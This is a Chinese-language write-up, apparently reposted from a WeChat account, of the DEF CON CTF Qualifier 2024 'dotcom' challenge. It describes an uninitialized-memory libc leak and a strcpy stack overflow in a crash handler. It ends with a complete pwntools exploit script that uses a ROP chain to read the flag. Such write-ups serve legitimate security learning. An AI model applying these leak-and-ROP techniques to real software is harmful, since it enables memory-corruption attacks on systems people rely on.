DEF CON CTF Qualifier 2024 - dotcom

admin 2024年5月24日23:18:14评论1 views字数 2966阅读9分53秒阅读模式
1. 概述
2. 分析
3. 漏洞
3-1. 未初始化的内存
3-2. 栈溢出
4. 利用
5. 结束
DEF CON CTF Qualifier 2024 - dotcom

1. 概述

这个挑战是 2024 年 DEF CON CTF 资格赛中展示的可利用挑战。多亏了我的队友迅速发现漏洞,我在比赛期间首次完成了这个挑战。通常,与 DEF CON CTF 中展示的其他挑战相比,这个问题被认为难度较小。

2. 分析

与 "Notes" 挑战类似的常见可利用挑战类型,这个二进制文件允许添加和释放任意模型。此外,还有一个强大的 Seccomp 过滤器,但这是为第二个挑战(airbag)准备的。由于 dotcom 挑战的 flag 文件在二进制文件启动时就会打开,如果你获得了控制流,你可以轻松读取 dotcom 的 flag。另一个特别之处是存在一个 Crash 处理器。这似乎也是为第二个挑战(airbag)准备的,但实际上 dotcom 二进制文件中可利用的漏洞存在于 Crash 处理器中。

3. 漏洞

3-1. 未初始化的内存

DEF CON CTF Qualifier 2024 - dotcom

第一个漏洞是内存没有得到适当的初始化。通过创建一个未排序的 bin 然后分配一个 Chunk,我们可以在 m 中包含 fd 和 bk(主区域的地址)。由于当它们是 NaN 时值不会被覆盖,libc 的地址仍然保留。最终,该值可以通过 draw_graph 函数打印并泄露给用户。

3-2. 栈溢出

DEF CON CTF Qualifier 2024 - dotcom

第二个漏洞存在于 Crash 处理器中。在解析中止消息时,由于使用了 strcpy 函数,会发生栈溢出。乍一看,用户似乎无法控制中止消息的值,但 Crash 处理器可以被大多数信号触发。

DEF CON CTF Qualifier 2024 - dotcom

因此,通过使用一个没有中止消息就发生信号的部分,你可以控制传递给 find_abort_string 函数的值。在上面的代码中,由于在中止时用户的输入值在寄存器中,如果你包含输入 "(): Asse",你可以触发 find_abort_string 函数。

4. 利用

.text:0000000000401565 48 8B 05 7C 4A 00 00          mov     rax, cs:stdin_ptr
.text:000000000040156C 48 8B 10 mov rdx, [rax] ; stream
.text:000000000040156F BE F4 01 00 00 mov esi, 1F4h ; n
.text:0000000000401574 E8 87 FB FF FF call _fgets

然而,利用它仍然存在问题。由于 strcpy 在遇到空字节时会终止,因此无法执行 ROP。如果我们检查可以控制 RIP 的点,栈地址仍然在 RDI 寄存器中。因此,我们可以使用像上面这样的小工具再次引起栈溢出。然后,充足的 ROP 就变得可能了。

5. 结束

第二个挑战,Airbag,显然是通过操纵 dotcom 的 Crash 消息并在 Airbag 二进制文件中引起内存损坏,然后利用与 memfd_create 相关的技巧来利用它。然而,我最终未能解决它,因为我在 Airbag 二进制文件中找不到漏洞。

dotcom 的最终解决代码如下:

from pwn import *
import struct

context.arch = "amd64"

nan = struct.unpack("Q", struct.pack("d", float('nan')))[0]

#r = process("dotcom_market")
r = remote("dotcom.shellweplayaga.me"10001 )

r.sendlineafter(b"Ticket please:"b"ticket{here_is_your_ticket}")

r.sendlineafter(b"Enter graph description:"b"123")

r.sendlineafter(b">"b"0")
s = f"0|0|0|0|0|" + "A"*0x400
s = f"{len(s)}|{s}"
r.sendlineafter(b"Paste model export text below:", s.encode())

r.sendlineafter(b">"b"0")
s = f"0|0|0|0|0|" + "A"*0x400
s = f"{len(s)}|{s}"
r.sendlineafter(b"Paste model export text below:", s.encode())

r.sendlineafter(b">"b"66")
r.sendlineafter(b">"b"1")

r.sendlineafter(b">"b"0")
s = f"0|{nan}|0|0|0|" + "A" * 0x400
s = f"{len(s)}|{s}"
r.sendlineafter(b"Paste model export text below:", s.encode())

r.sendlineafter(b">"b"1")
r.recvuntil(b"r = ")

leak = float(r.recvuntil(b" ", drop=True).decode())
libc_leak = u64(struct.pack("d", leak * 10))
libc_leak = libc_leak & ~0xfff
libc_base = libc_leak - 0x21a000

pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx_rbx = libc_base + 0x00000000000904a9
write = libc_base + 0x0114870
read = libc_base + 0x01147d0

print(f'libc_base = {hex(libc_base)}')

r.sendlineafter(b">"b"1")
r.sendlineafter(b">"b"0")

raw_input()
pay = b'1280|'
pay += b'(): Asse' + b'A'*0x30
pay += p64(0x401565)
pay += b'X'*(1284 - len(pay))
r.sendline(pay)


pay = b'B'*0x18
pay += p64(pop_rdi)
pay += p64(0x6)
pay += p64(pop_rsi)
pay += p64(libc_base+0x21c000)
pay += p64(pop_rdx_rbx)
pay += p64(0x100)
pay += p64(0x0)
pay += p64(read)

pay += p64(pop_rdi)
pay += p64(0x1)
pay += p64(pop_rsi)
pay += p64(libc_base+0x21c000)
pay += p64(pop_rdx_rbx)
pay += p64(0x100)
pay += p64(0x0)
pay += p64(write)
pay += p64(0xdeadbeef)

r.sendline(pay)

r.interactive()

- END -

原文始发于微信公众号(3072):DEF CON CTF Qualifier 2024 - dotcom

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月24日23:18:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DEF CON CTF Qualifier 2024 - dotcomhttps://cn-sec.com/archives/2772623.html

发表评论

匿名网友 填写信息